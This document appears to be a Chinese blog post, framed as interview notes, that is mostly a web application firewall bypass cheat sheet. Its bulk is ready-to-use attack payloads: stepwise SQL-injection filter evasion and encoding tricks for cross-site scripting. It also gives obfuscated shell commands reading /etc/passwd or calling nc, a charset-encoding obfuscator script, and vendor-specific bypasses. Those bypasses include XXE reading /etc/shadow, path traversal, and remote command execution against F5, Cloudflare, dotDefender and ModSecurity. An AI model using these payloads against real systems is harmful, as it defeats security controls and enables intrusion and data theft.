关于一次面试题的记录(二)
本文最后更新于674天前,其中的信息可能已经有所发展或是发生改变。

模糊词典

1.秘书/模糊化

https://github.com/danielmiessler/SecLists/tree/master/Fuzzing

2.Fuzz-DB /攻击

https://github.com/fuzzdb-project/fuzzdb/tree/master/attack

3.Other Payloads可能会被ban ip,小心为妙。

https://github.com/foospidy/payloads

0X01正则绕过

多少waf使用正则匹配。

黑名单检测/旁路

案例:SQL注入

• 步骤1:

过滤关键词: and, or, union

可能正则: preg_match(‘/(and|or|union)/i’, $id)

被拦截的语句: union select user, password from users

bypass语句: 1 || (select user from users where user_id = 1) = ‘admin’

• 第2步:

过滤关键词: and, or, union, where

被拦截的语句: 1 || (select user from users where user_id = 1) = ‘admin’

bypass语句: 1 || (select user from users limit 1) = ‘admin’

•步骤3:

过滤关键词: and, or, union, where, limit

被拦截的语句: 1 || (select user from users limit 1) = ‘admin’

bypass语句: 1 || (select user from users group by user_id having user_id = 1) = ‘admin’

• 步骤4:

过滤关键词: and, or, union, where, limit, group by

被拦截的语句: 1 || (select user from users group by user_id having user_id = 1) = ‘admin’

bypass语句: 1 || (select substr(group_concat(user_id),1,1) user from users ) = 1

•步骤5:

过滤关键词: and, or, union, where, limit, group by, select

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

bypass语句: 1 || 1 = 1 into outfile ‘result.txt’

bypass语句: 1 || substr(user,1,1) = ‘a’

•步骤6:

过滤关键词: and, or, union, where, limit, group by, select, ‘

被拦截的语句: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1

bypass语句: 1 || user_id is not null

bypass语句: 1 || substr(user,1,1) = 0x61

bypass语句: 1 || substr(user,1,1) = unhex(61)

•步骤7:

过滤关键词: and, or, union, where, limit, group by, select, ‘, hex

被拦截的语句: 1 || substr(user,1,1) = unhex(61)

bypass语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

•步骤8:

过滤关键词: and, or, union, where, limit, group by, select, ‘, hex, substr

被拦截的语句: 1 || substr(user,1,1) = lower(conv(11,10,36))

bypass语句: 1 || lpad(user,7,1)

•步骤9:

过滤关键词: and, or, union, where, limit, group by, select, ‘, hex, substr, white space

被拦截的语句: 1 || lpad(user,7,1)

bypass语句: 1%0b||%0blpad(user,7,1)

0X02改进/编码

1.大小写

标准: <script>alert()</script>

Bypassed: <ScRipT>alert()</sCRipT>

标准: SELECT * FROM all_tables WHERE OWNER = ‘DATABASE_NAME’

Bypassed: sELecT * FrOm all_tables whERe OWNER = ‘DATABASE_NAME’

2. URL编码

被阻断语句: <svG/x=”>”/oNloaD=confirm()//

Bypassed: %3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F

被阻断语句: uNIoN(sEleCT 1,2,3,4,5,6,7,8,9,10,11,12)

Bypassed: uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29

3. Unicode编码

标准: <marquee onstart=prompt()>

混淆: <marquee onstart=\u0070r\u06f\u006dpt()>

被阻断语句: /?redir=http://google.com

Bypassed: /?redir=http://google。com (Unicode 替代)

被阻断语句: <marquee loop=1 onfinish=alert()>x

Bypassed: <marquee loop=1 onfinish=alert︵1)>x (Unicode 替代)

TIP: 查看这些说明 this and this reports on HackerOne. 🙂

4. HTML实体编码

标准: “><img src=x onerror=confirm()>

Encoded: &quot;&gt;&lt;img src=x onerror=confirm&lpar;&rpar;&gt; (General form)

Encoded: &#34;&#62;&#60;img src=x onerror=confirm&#40;&#41;&#62; (Numeric reference)

5.混合编码

Sometimes, WAF rules often tend to filter out a specific type of encoding.

This type of filters can be bypassed by mixed encoding payloads.

Tabs and newlines further add to obfuscation.

擅长

<A HREF=”h

tt p://6 6.000146.0×7.147/”>XSS</A>

7.双重URL编码

这个需要服务端多次解析了url编码

标准: http://victim/cgi/../../winnt/system32/cmd.exe?/c+dir+c:\

混淆: http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\

标准: <script>alert()</script>

混淆: %253Cscript%253Ealert()%253C%252Fscript%253E

8.通配符使用

用于linux命令语句注入,通过shell通配符绕过

标准: /bin/cat /etc/passwd

混淆: /???/??t /???/??ss??

Used chars: / ? t s

标准: /bin/nc 127.0.0.1 1337

混淆: /???/n? 2130706433 1337

Used chars: / ? n [0-9]

9.动态有效载荷生成

标准: <script>alert()</script>

混淆: <script>eval(‘al’+’er’+’t()’)</script>

标准: /bin/cat /etc/passwd

混淆: /bi’n”’/c”at’ /e’tc’/pa”ss’wd

Bash allows path concatenation for execution.

标准: <iframe/onload=’this[“src”]=”javascript:alert()”‘;>

混淆: <iframe/onload=’this[“src”]=”jav”+”as&Tab;cr”+”ipt:al”+”er”+”t()”‘;>

9.垃圾字符

Normal payloads get filtered out easily.

Adding some junk chars helps avoid detection (specific cases only).

They often help in confusing regex based firewalls.

标准: <script>alert()</script>

混淆: <script>+-+-1-+-+alert(1)</script>

标准: <BODY onload=alert()>

混淆: <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert()>

注意:  上述语句可能会破坏正则的匹配,达到绕过。

标准: <a href=javascript;alert()>ClickMe

Bypassed: <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe

10.插入换行符

部分waf可能会对换行符没有匹配

标准: <iframe src=javascript:confirm(0)”>

混淆: <iframe src=”%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)”>

11.未定义变量

bash 和 perl 执行脚本中加入未定义变量,干扰正则。

提示:  随便写一个不存在的变量就好。$aaaa,$sdayuhjbsad,$dad2ed都可以。

Level 1 Obfuscation: Normal

标准: /bin/cat /etc/passwd

混淆: /bin/cat$u /etc/passwd$u

Level 2 Obfuscation: Postion Based

标准: /bin/cat /etc/passwd

混淆: $u/bin$u/cat$u $u/etc$u/passwd$u

Level 3 Obfuscation: Random characters

标准: /bin/cat /etc/passwd

混淆: $aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff

一个精心制作的payload

$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf

12. Tab键和换行符

大多数waf匹配的是空格不是Tab

标准: <IMG SRC=”javascript:alert();”>

Bypassed: <IMG SRC=” javascript:alert();”>

变形: <IMG SRC=” jav ascri pt:alert ();”>

标准: http://test.com/test?id=1 union select 1,2,3

标准: http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3

标准: <iframe src=javascript:alert(1)></iframe>

混淆:

<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>

13. Token Breakers(翻译不了看起来说的就是sql注入封闭)

Attacks on tokenizers attempt to break the logic of splitting a request into tokens with the help of token breakers.

Token breakers are symbols that allow affecting the correspondence between an element of a string and a certain token, and thus bypass search by signature.

However, the request must still remain valid while using token-breakers.

Case: Unknown Token for the Tokenizer

Payload: ?id=‘-sqlite_version() UNION SELECT password FROM users —

Case: Unknown Context for the Parser (Notice the uncontexted bracket)

Payload 1: ?id=123);DROP TABLE users —

Payload 2: ?id=1337) INTO OUTFILE ‘xxx’ —

提示:  更多payload可以看这里备忘单。

14.其他格式纠正

许多web应用程序支持不同的编码类型(如下表)

混淆成服务器可解析、waf不可解析的编码类型

案例:  IIS

IIS6, 7.5, 8 and 10 (ASPX v4.x) 允许 IBM037 字符

可以发送编码后的参数名和值

原始请求:

POST /sample.aspx?id1=something HTTP/1.1

HOST: victim.com

Content-Type: application/x-www-form-urlencoded; charset=utf-8

Content-Length: 41

id2=’union all select * from users–

突破请求+ URL编码:

POST /sample.aspx?%89%84%F1=%A2%96%94%85%A3%88%89%95%87 HTTP/1.1

HOST: victim.com

Content-Type: application/x-www-form-urlencoded; charset=ibm037

Content-Length: 115

%89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60

提示:  可以使用这个小脚本来转化编码

import urllib.parse, sys

from argparse import ArgumentParser

lackofart = ”’

OBFUSCATOR

”’

def paramEncode(params=””, charset=””, encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):

result = “”

equalSign = “=”

ampersand = “&”

if ‘=’ and ‘&’ in params:

if encodeEqualSign:

equalSign = equalSign.encode(charset)

if encodeAmpersand:

ampersand = ampersand.encode(charset)

params_list = params.split(“&”)

for param_pair in params_list:

param, value = param_pair.split(“=”)

if urlDecodeInput:

param = urllib.parse.unquote(param)

value = urllib.parse.unquote(value)

param = param.encode(charset)

value = value.encode(charset)

if urlEncodeOutput:

param = urllib.parse.quote_plus(param)

value = urllib.parse.quote_plus(value)

if result:

result += ampersand

result += param + equalSign + value

else:

if urlDecodeInput:

params = urllib.parse.unquote(params)

result = params.encode(charset)

if urlEncodeOutput:

result = urllib.parse.quote_plus(result)

return result

def main():

print(lackofart)

parser = ArgumentParser(‘python3 obfu.py’)

parser._action_groups.pop()

# A simple hack to have required arguments and optional arguments separately

required = parser.add_argument_group(‘Required Arguments’)

optional = parser.add_argument_group(‘Optional Arguments’)

# Required Options

required.add_argument(‘-s’, ‘–str’, help=’String to obfuscate’, dest=’str’)

required.add_argument(‘-e’, ‘–enc’, help=’Encoding type. eg: ibm037, utf16, etc’, dest=’enc’)

# Optional Arguments (main stuff and necessary)

optional.add_argument(‘-ueo’, help=’URL Encode Output’, dest=’ueo’, action=’store_true’)

optional.add_argument(‘-udi’, help=’URL Decode Input’, dest=’udi’, action=’store_true’)

args = parser.parse_args()

if not len(sys.argv) > 1:

parser.print_help()

quit()

print(‘Input: %s’ % (args.str))

print(‘Output: %s’ % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))

if __name__ == ‘__main__’:

main()

服务器信息

可用编码

说明

Nginx,uWSGI-Django-Python3

IBM037,IBM500,cp875,IBM1026,IBM273

对参数名和参数值进行编码
服务器对参数名称和参数值均进行URL解码
需要对等号和&和进行编码(不进行URL编码)

Nginx,uWSGI-Django-Python2

IBM037,IBM500,cp875,IBM1026,utf-16,utf-32,utf-32BE,IBM424

对参数名和参数值进行便慢慢地对
服务器参数进行参数名和参数值均进行的URL解码
等号和&符号不应该以任何方式编码。

Apache-TOMCAT8-JVM1.8-JSP

IBM037,IBM500,IBM870,cp875,IBM1026,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,utf-32,utf-32BE,IBM273,IBM277,IBM278,IBM280, IBM284,IBM285,IBM290,IBM297,IBM420,IBM424,IBM-Thai,IBM871,cp1025

参数名按原始格式(可以像往常一样使用url编码)
正文不管是否通过url编码对齐
等号和&符号不应该以任何方式编码

Apache-TOMCAT7-JVM1.6-JSP

IBM037,IBM500,IBM870,cp875,IBM1026,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,utf-32,utf-32BE,IBM273,IBM277,IBM278,IBM280, IBM284,IBM285,IBM297,IBM420,IBM424,IBM-Thai,IBM871,cp1025

参数名按原始格式(可以像往常一样使用url编码)
正文不管是否通过url编码对齐
等号和&符号不应该以任何方式编码

IIS6、7.5、8、10 -ASPX(v4.x)

IBM037,IBM500,IBM870,cp875,IBM1026,IBM01047,IBM01140,IBM01141,IBM01142,IBM01143,IBM01144,IBM01145,IBM01146,IBM01147,IBM01148,IBM01149,utf-16,unicodeFFFE,utf-32,utf-32BE,IBM273,IBM277, IBM278,IBM280,IBM284,IBM285,IBM290,IBM297,IBM420,IBM423,IBM424,x-EBCDIC-KoreanExtended,IBM-Thai,IBM871,IBM880,IBM905,IBM00924,cp1025

参数名按原始格式(可以像往常一样使用url编码)
正文不管是否通过url编码对齐
等号和&符号不应该以任何方式编码

0X04 HTTP参数污染

手法

这种攻击方法基于服务器如何解释具有相同名称的参数

可能造成bypass的情况:

服务器使用最后接收到的参数,WAF只检查第一个参数

服务器将来自类似参数的值联合起来,WAF单独检查它们

下面是相关服务器对参数解释的比较

环境

参数解析

示例

ASP / IIS

用逗号连接

par1 = val1,val2

JSP,Servlet / Apache Tomcat

第一个参数是结果

par1 = val1

ASP.NET/IIS

用逗号连接

par1 = val1,val2

PHP /宙斯

最后一个参数是结果

par1 = val2

PHP / Apache

最后一个参数是结果

par1 = val2

JSP,Servlet /码头

第一个参数是结果

par1 = val1

IBM Lotus Domino

第一个参数是结果

par1 = val1

IBM HTTP服务器

最后一个参数是结果

par1 = val2

mod_perl,libapeq2 / Apache

第一个参数是结果

par1 = val1

Oracle应用服务器10G

第一个参数是结果

par1 = val1

Perl CGI / Apache

第一个参数是结果

par1 = val1

Python / Zope

第一个参数是结果

par1 = val1

爱思华宝

返回一个列表

[‘val1’,’val2’]

AXIS 2400

最后一个参数是结果

par1 = val2

DBMan

由两个波浪号连接起来

par1 = val1 ~~ val2

mod-wsgi(Python)/ Apache

返回一个列表

阵列(0x8b9058c)

0X05浏览器的缺陷

字符集错误:

可以尝试 修改 charset header to 更高的 Unicode (eg. UTF-32)

当网站解码的时候,触发payload

请求示例:

GET /page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀 HTTP/1.1

Host: site.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept-Charset:utf-32; q=0.5<

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

当站点加载时,将其编码为我们设置的UTF-32编码,然后通过页面的输出编码为UTF-8,将其呈现为:”<script>alert (1) </ script> 从而触发xss

完整url编码后的有效载荷:

%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80

空字节

空字节通常使用字符串终止符

Payload 示例:

<scri%00pt>alert(1);</scri%00pt>

<scri\x00pt>alert(1);</scri%00pt>

<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>

标准: <a href=”javascript:alert()”>

混淆: <a href=”ja0x09vas0x0A0x0Dcript:alert(1)”>clickme</a>

变形: <a 0x00 href=”javascript:alert(1)”>clickme</a>

解析错误

RFC 声明节点名不可以由空白起始

但是我们可以使用特殊字符 ` %, //, !, ?`, etc.

例子:

<// style=x:expression\28write(1)\29> – Works upto IE7 (Source)

<!–[if]><script>alert(1)</script –> – Works upto IE9 (Reference)

<?xml-stylesheet type=”text/css”?><root style=”x:expression(write(1))”/> – Works in IE7 (Reference)

<%div%20style=xss:expression(prompt(1))> – Works Upto IE7

Unicode分隔符

  • 每个浏览器有不同的分隔分隔符

@Masato Kinugawafuzz后发现如下

IExplorer: 0x09, 0x0B, 0x0C, 0x20, 0x3B

Chrome: 0x09, 0x20, 0x28, 0x2C, 0x3B

Safari: 0x2C, 0x3B

FireFox: 0x09, 0x20, 0x28, 0x2C, 0x3B

Opera: 0x09, 0x20, 0x2C, 0x3B

Android: 0x09, 0x20, 0x28, 0x2C, 0x3B

示例

<a/onmouseover[\x0b]=location=’\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B’>pwn3d

使用其他非典型等效语法结构替换

找的waf开发人员没有注意到的语句进行攻击

一些WAF开发人员忽略的常见关键字:

  • JavaScript函数:
  • window
  • parent
  • this
  • self
  • 标签属性:
  • onwheel
  • ontoggle
  • onfilterchange
  • onbeforescriptexecute
  • ondragstart
  • onauxclick
  • onpointerover
  • srcdoc

SQL运算符

lpad

lpad( string, padded_length, [ pad_string ] ) lpad函数从左边对字符串使用指定的字符进行填充

lpad(‘tech’, 7); 将返回’ tech’

lpad(‘tech’, 2); 将返回’te’

lpad(‘tech’, 8, ‘0’); 将返回’0000tech’

lpad(‘tech on the net’, 15, ‘z’); 将返回’tech on the net’

lpad(‘tech on the net’, 16, ‘z’); 将返回’ztech on the net

field

FIELD(str,str1,str2,str3,…)

返回的索引(从1开始的位置)的str在str1,str2,STR3,…列表中。如果str没有找到,则返回0。

+———————————————————+

| FIELD(‘ej’, ‘Hej’, ‘ej’, ‘Heja’, ‘hej’, ‘foo’) |

+———————————————————+

| 2 |

+———————————————————+

bit_count 二进制数中包含1的个数。BIT_COUNT(10);因为10转成二进制是1010,所以该结果就是2

示例有效载荷:

Case: XSS

<script>window[‘alert’](0)</script>

<script>parent[‘alert’](1)</script>

<script>self[‘alert’](2)</script>

Case: SQLi

SELECT if(LPAD(‘ ‘,4,version())=’5.7’,sleep(5),null);

1%0b||%0bLPAD(USER,7,1)

可以使用许多替代原生JavaScript的方法:

JSFuck

JJEncode

XChars.JS

滥用SSL / TLS密码:

很多时候,服务器可以接收各种SSL/TLS密码和版本的连接。

初始化到waf不支持的版本

找出waf支持的密码(通常WAF供应商文档对此进行了讨论)。

找出服务器支持的密码(SSLScan这种工具可以帮助到你)。

找出服务器支持但waf不支持的

工具:滥用SSL旁路

滥用DNS记录:

  • 找到云waf后的源站

提示:  一些在线资源IP历史记录和DNS跟踪

工具:绕过DNS历史记录的防火墙

bash bypass-firewalls-by-DNS-history.sh -d <target> –checkall

请求头欺骗

让waf以为请求来自于内部网络,而不进行进行过滤。

添加如下请求头

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

X-Client-IP: 127.0.0.1

Google Dorks方法:

应对已知WAF的绕过

搜索语法:

普通搜索:

+<wafname> waf bypass

搜索特定的版本漏洞:

“<wafname> <version>” (bypass|exploit)

对于特定类型的绕过漏洞利用:

“<wafname>” +<bypass type> (bypass|exploit)

在漏洞利用数据库上:

site:exploit-db.com +<wafname> bypass

在0Day Inject0r DB上:

site:0day.today +<wafname> <type> (bypass|exploit)

在Twitter上:

site:twitter.com +<wafname> bypass

在Pastebin上

site:pastebin.com +<wafname> bypass

0X06拓展绕过姿势

气锁埃尔贡

SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by @Sec Consult

%C0%80’+union+select+col1,col2,col3+from+table+–+

AWS

SQLi绕过@enkaskal

“; select * from TARGET_TABLE —

XSS Bypass by @kmkz

<script>eval(atob(decodeURIComponent(“payload”)))//

梭子鱼

@WAFNinja的跨站点脚本

<body style=”height:1000px” onwheel=”alert(1)”>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss” onshow=”alert(1)”>

<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>

@ Global-Evolution的HTML注入

GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US

Host: favoritewaf.com

User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

XSS绕过@ 0xInfection

<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere

Barracuda WAF 8.0.1 – Remote Command Execution (Metasploit) by @xort

梭子鱼垃圾邮件和病毒防火墙5.1.3-@xort的远程命令执行(Metasploit)

Cerber(WordPress)

HTTP动词篡改@ ed0x21son的用户名枚举保护绕过

POST host.com HTTP/1.1

Host: favoritewaf.com

User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)

author=1

受保护的管理脚本绕过@ ed0x21son

http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils

http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar

REST API通过@ ed0x21son禁用绕过

http://host/index.php/wp-json/wp/v2/users/

思杰NetScaler

@BGA Security通过HTTP参数污染(NS10.5)进行的SQLi

<soapenv:Envelope xmlns:soapenv=”http://schemas.xmlsoap.org/soap/envelope/” xmlns:tem=”http://tempuri.org/”>

<soapenv:Header/>

<soapenv:Body>

<string>’ union select current_user, 2#</string>

</soapenv:Body>

</soapenv:Envelope>

generic_api_call.pl XSS by @NNPoster

http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e


Cloudflare

HTML注入@spyerror

<div style=”background:url(/f#&#127;oo/;color:red/*/foo.jpg);”>X

XSS绕过@ c0d3g33k

<a+HREF=’javascrip%26%239t:alert%26lpar;document.domain)’>test</a>

XSS绕过@Bohdan Korzhynskyi

<svg onload=prompt%26%230000000040document.domain)>

<svg onload=prompt%26%23×000000028;document.domain)>

xss'”><iframe srcdoc=’%26lt;script>;prompt`${document.domain}`%26lt;/script>’>

1′”><img/src/onerror=.1|alert“>

XSS绕过@ RakeshMane10

<svg/onload=&#97&#108&#101&#114&#00116&#40&#41&#x2f&#x2f

XSS绕过@ArbazKiraak

<a href=”j&Tab;a&Tab;v&Tab;asc&NewLine;ri&Tab;pt&colon;\u0061\u006C\u0065\u0072\u0074&lpar;this[‘document’][‘cookie’]&rpar;”>X</a>`

XSS绕过@AhmetÜmit

<–`<img/src=` onerror=confirm“> –!>

XSS绕过@Shiva Krishna

javascript:{alert`0`}

XSS绕过@Brute Logic

<base href=//knoxss.me?

@ RenwaX23的XSS绕过(仅Chrome)

<j id=x style=”-webkit-user-modify:read-write” onfocus={window.onerror=eval}throw/0/+name>H</j>#x

RCE有效负载检测绕过@theMiddle

cat$u+/etc$u/passwd$u

/bin$u/bash$u <ip> <port>

“;cat+/etc/passwd+#

科莫多

XSS绕过@ 0xInfection

<input/oninput=’new Function`confir\u006d\`0\“’>

<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme

@WAFNinja编写的SQLi

0 union/**/select 1,version(),@@datadir

点防御者

@ hyp3rlinx通过(v5.0)禁用防火墙

PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+

<enabled>false</enabled>

@John Dos的远程命令执行(v3.8-5)

POST /dotDefender/index.cgi HTTP/1.1

Host: 172.16.159.132

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Authorization: Basic YWRtaW46

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 95

sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15

@EnableSecurity的持久XSS(v4.0)

GET /c?a=<script> HTTP/1.1

Host: 172.16.159.132

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;

rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

<script>alert(1)</script>: aa

Keep-Alive: 300

R-XSS绕过@WAFNinja

<svg/onload=prompt(1);>

<isindex action=”javas&tab;cript:alert(1)” type=image>

<marquee/onstart=confirm(2)>

XSS绕过@ 0xInfection

<p draggable=True ondragstart=prompt()>alert

<bleh/ondragstart=&Tab;parent&Tab;[‘open’]&Tab;&lpar;&rpar;%20draggable=True>dragme

GET – XSS Bypass (v4.02) by @DavidK

/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E

<img src=”WTF” onError=”{var

{3:s,2:h,5:a,0:v,4:n,1:e}=’earltv’}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B

h%2Bn)(/0wn3d/.source)” />

POST-@DavidK的XSS绕过(v4.02)

<img src=”WTF” onError=”{var

{3:s,2:h,5:a,0:v,4:n,1:e}=’earltv’}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/

.source)” />

clave XSS (v4.02) by @DavidK

/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{

Fortinet Fortiweb

pcre_expression @Benjamin Mejri验证的XSS

/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C

/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0

CSP绕过@ Binar10

POST类型查询

POST /<path>/login-app.aspx HTTP/1.1

Host: <host>

User-Agent: <any valid user agent string>

Accept-Encoding: gzip, deflate

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: <the content length must be at least 2399 bytes>

var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>

GET类型查询

http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>

F5 ASM

XSS绕过@WAFNinja

<table background=”javascript:alert(1)”></table>

“/><marquee onfinish=confirm(123)>a</marquee>

F5大IP

XSS绕过@WAFNinja

<body style=”height:1000px” onwheel=”[DATA]”>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss” onshow=”[DATA]”>

<body style=”height:1000px” onwheel=”prom%25%32%33%25%32%36×70;t(1)”>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss” onshow=”prom%25%32%33%25%32%36×70;t(1)”>

XSS绕过@Aatif Khan

<body style=”height:1000px” onwheel=”prom%25%32%33%25%32%36×70;t(1)”>

<div contextmenu=”xss”>Right-Click Here<menu id=”xss”onshow=”prom%25%32%33%25%32%36×70;t(1)“>

report_type XSS通过@NNPoster

https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+

@Anonymous的基于POST的XXE

POST /sam/admin/vpe2/public/php/server.php HTTP/1.1

Host: bigip

Cookie: BIGIPAuthCookie=*VALID_COOKIE*

Content-Length: 143

<?xml version=”1.0″ encoding=’utf-8′ ?>

<!DOCTYPE a [<!ENTITY e SYSTEM ‘/etc/shadow’> ]>

<message><dialogueType>&e;</dialogueType></message>

@Anastasios Monachos的目录遍历

读取任意文件

/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd

Delete Arbitrary File

POST /tmui/Control/form HTTP/1.1

Host: site.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=””; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage=”/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd”; f5currenttab=”main”; f5mainmenuopenlist=””; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd

Content-Type: application/x-www-form-urlencoded

_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete

F5消防通行证

来自@Anonymous的SQLi绕过

state=%2527+and+

(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+

BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+–+

ModSecurity

@theMiddle(v3.1)的PL3的RCE有效负载检测绕过

;+$u+cat+/etc$u/passwd$u

@theMiddle(v3.1)的PL2的RCE有效负载检测绕过

;+$u+cat+/etc$u/passwd+\#

@theMiddle(v3.0)的PL1和PL2的RCE有效负载

/???/??t+/???/??ss??

@theMiddle(v3.0)的PL3的RCE有效负载

/?in/cat+/et?/passw?

@Johannes Dahse(v2.2)的SQLi绕过

